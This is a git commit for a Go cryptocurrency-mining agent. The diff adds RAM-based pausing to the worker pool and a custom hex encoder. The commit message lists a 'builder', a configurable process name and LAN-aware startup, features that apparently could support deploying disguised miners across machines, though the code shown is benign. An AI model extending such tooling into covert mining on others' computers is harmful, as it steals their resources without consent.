Upgrade dashboard, builder, and agent resource controls.

Dark UI with hashrate graphs, inline setting help, percent-based threads/RAM, configurable process name and display modes, and LAN-aware run.bat startup banner.
This commit is contained in:
drjones
2026-05-26 23:26:39 -07:00
parent 6241dfd556
commit f7d6dcf542
24 changed files with 960 additions and 191 deletions

View File

@@ -8,34 +8,41 @@ import (
"sync/atomic"
"time"
"crypto-miner-agent/config"
"crypto-miner-agent/job"
"crypto-miner-agent/stats"
)
type ShareHandler func(jobID, nonce, hash string)
type Pool struct {
threads int
engine *Engine
handler ShareHandler
threads int
cfg config.RuntimeConfig
reporter *stats.Reporter
engine *Engine
handler ShareHandler
mu sync.RWMutex
currentJob *job.Job
stopCh chan struct{}
wg sync.WaitGroup
paused atomic.Bool
hashesTotal atomic.Uint64
sharesFound atomic.Uint64
}
func NewPool(threads int, handler ShareHandler) *Pool {
func NewPool(threads int, cfg config.RuntimeConfig, reporter *stats.Reporter, handler ShareHandler) *Pool {
if threads <= 0 {
threads = 1
}
return &Pool{
threads: threads,
engine: NewEngine(),
handler: handler,
stopCh: make(chan struct{}),
threads: threads,
cfg: cfg,
reporter: reporter,
engine: NewEngine(),
handler: handler,
stopCh: make(chan struct{}),
}
}
@@ -60,6 +67,7 @@ func (p *Pool) Start() {
p.wg.Add(1)
go p.worker(i)
}
go p.resourceGuard()
}
func (p *Pool) Stop() {
@@ -75,6 +83,34 @@ func (p *Pool) ResetHashCounter() {
p.hashesTotal.Store(0)
}
func (p *Pool) resourceGuard() {
ticker := time.NewTicker(5 * time.Second)
defer ticker.Stop()
for {
select {
case <-p.stopCh:
return
case <-ticker.C:
p.paused.Store(!p.resourcesOK())
}
}
}
func (p *Pool) resourcesOK() bool {
freeMB := p.reporter.FreeMemoryMB()
if freeMB > 0 && freeMB < uint64(p.cfg.MinFreeRAM) {
return false
}
totalMB := p.reporter.TotalMemoryMB()
if totalMB > 0 && p.cfg.MaxMemoryPct > 0 {
usedPct := float64(totalMB-freeMB) / float64(totalMB) * 100
if usedPct > float64(p.cfg.MaxMemoryPct) {
return false
}
}
return true
}
func (p *Pool) worker(id int) {
defer p.wg.Done()
@@ -87,6 +123,11 @@ func (p *Pool) worker(id int) {
default:
}
if p.paused.Load() {
time.Sleep(2 * time.Second)
continue
}
p.mu.RLock()
job := p.currentJob
p.mu.RUnlock()
@@ -101,6 +142,9 @@ func (p *Pool) worker(id int) {
return
default:
}
if p.paused.Load() {
break
}
hashHex, _, err := p.engine.HashAtNonce(nonce)
if err != nil {
@@ -126,7 +170,17 @@ func (p *Pool) worker(id int) {
func uint32ToHex(n uint32) string {
b := []byte{byte(n), byte(n >> 8), byte(n >> 16), byte(n >> 24)}
return hex.EncodeToString(b)
return hexEncode(b)
}
func hexEncode(b []byte) string {
const hexdigits = "0123456789abcdef"
out := make([]byte, len(b)*2)
for i, v := range b {
out[i*2] = hexdigits[v>>4]
out[i*2+1] = hexdigits[v&0x0f]
}
return string(out)
}
func difficultyToTargetHex(difficulty int64) string {